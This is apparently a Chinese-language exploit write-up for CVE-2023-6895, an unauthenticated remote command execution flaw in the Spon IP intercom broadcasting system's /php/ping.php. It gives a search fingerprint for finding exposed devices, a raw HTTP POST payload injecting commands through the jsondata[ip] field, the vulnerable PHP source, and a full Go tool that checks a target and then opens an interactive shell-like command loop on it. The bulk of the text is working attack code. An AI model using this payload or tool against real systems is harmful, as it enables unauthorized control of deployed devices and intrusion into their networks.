世邦 IP 网络对讲广播系统远程命令执行漏洞(CVE-2023-6895)

30

漏洞描述

Spon Intercom Broadcasting System 是世邦通信股份有限公司的一个对讲广播系统。

/php/ping.php 文件 jsondata[ip] 参数存在远程命令执行漏洞。

影响范围

V3.0.3_20201113_RELEASE(HIK)

资产测绘

icon_hash="-1830859634"

漏洞复现

登录界面如下

后台界面如下

漏洞POC

POST /php/ping.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 28 May 2021 10:11:26 GMT
If-None-Match: "60b0c1ce-1dbf"
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

成功执行系统命令

将源码打包下来后分析,先看 /php/ping.php

 <?php
//  /**
//   *@param $ip target ip
//   *@param $times ping times
//   */
header("Content-type: text/html; charset=GB2312");
$postData = $_POST['jsondata'];
if(isset($postData['ip']) && isset($postData['type'])){
     $type = $postData['type'];//类型
     $ip = $postData['ip'];//IP地址
     $arr = systemopr($type, $ip);
     $len = count($arr);
     for($i = 0; $i < $len; $i++){
          if(isset($arr[$i])){
               $arr[$i] = iconv('GB2312', 'UTF-8', $arr[$i]);//gb2312转换为utf-8
          }
     }
     $after = json_encode($arr);//转换成json
     echo $after;
}

function systemopr($type, $ip, $times=4){
     $info = array();     
     if (PATH_SEPARATOR==':' || DIRECTORY_SEPARATOR=='/'){
           //linux
           if($type == "0"){
               exec("ping -c $times $ip", $info);
           }else if($type == "1"){
               exec("traceroute -m $times -w 1 $ip", $info);
           }else{
               exec($ip, $info);
          }
     }else{
          //windows
          if($type == "0"){
               exec("ping $ip -n $times", $info);
          }else if($type == "1"){
               exec("tracert -h $times -w 1000 $ip", $info);
          }else{
               exec($ip, $info);
          }
     }
     return $info;
}
?>

该 php 中没有看到任何鉴权的地方,接收了两个参数,一个是type,一个是ip

然后调用 systemopr 函数

在该方法中,首先对系统类型进行了判断,然后判断 type 的值,实际上这里不管 type 是多少,都存在命令执行漏洞。

但是为了方便,将 type 值设置为99,就会执行 else 代码块中的 exec 方法

命令执行的结果会返回到 $arr 中,经过 jsonencode 转换后输出。

POC&EXP

package main

import (
	"bytes"
	"crypto/tls"
	"fmt"
	"net/http"
	"strings"
)

const (
	checkURLPath = "/php/ping.php"
	colorRed     = "\033[31m"
	colorGreen   = "\033[32m"
	colorBlue    = "\033[34m"
	colorReset   = "\033[0m"
)

func poc(url string) bool {
	vulnURL := url + checkURLPath
	payload := "jsondata%5Btype%5D=99&jsondata%5Bip%5D=whoami"

	// 使用自定义的 http.Client 并忽略证书错误
	client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
	resp, err := client.Post(vulnURL, "application/x-www-form-urlencoded", strings.NewReader(payload))
	checkError(err)
	defer resp.Body.Close()

	// 读取并输出响应体
	responseBody := new(bytes.Buffer)
	_, err = responseBody.ReadFrom(resp.Body)
	checkError(err)

	keywords := []string{"[\"www\"]", "[\"root\"]", "Microsoft Windows"}
	vulnerable := false

	for _, keyword := range keywords {
		if strings.Contains(responseBody.String(), keyword) {
			vulnerable = true
			break
		}
	}

	return vulnerable
}

func exp(url string) {
	for {
		fmt.Print("cmd > ")
		var cmd string
		fmt.Scanln(&cmd)

		vulnURL := url + checkURLPath
		payload := fmt.Sprintf("jsondata%%5Btype%%5D=99&jsondata%%5Bip%%5D=%s", cmd)

		client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
		resp, err := client.Post(vulnURL, "application/x-www-form-urlencoded", strings.NewReader(payload))
		checkError(err)
		defer resp.Body.Close()

		responseBody := new(bytes.Buffer)
		_, err = responseBody.ReadFrom(resp.Body)
		checkError(err)

		fmt.Println(responseBody.String())
	}
}

func checkError(err error) bool {
	if err != nil {
		fmt.Printf("%s[error] %s%s\n\n", colorRed, err, colorReset)
		return true
	}
	return false
}

func main() {
	fmt.Printf("\n%s世邦 IP 网络对讲广播系统远程命令执行漏洞%s\n\n", colorBlue, colorReset)
	fmt.Print("url > ")
	var url string
	fmt.Scanln(&url)

	vulnerable := poc(url)

	if vulnerable {
		fmt.Printf("\n%s[+] %s 存在漏洞%s\n\n", colorGreen, url, colorReset)
		exp(url)
	} else {
		fmt.Printf("\n%s[-] %s 不存在漏洞%s\n\n", colorRed, url, colorReset)
	}
}

运行效果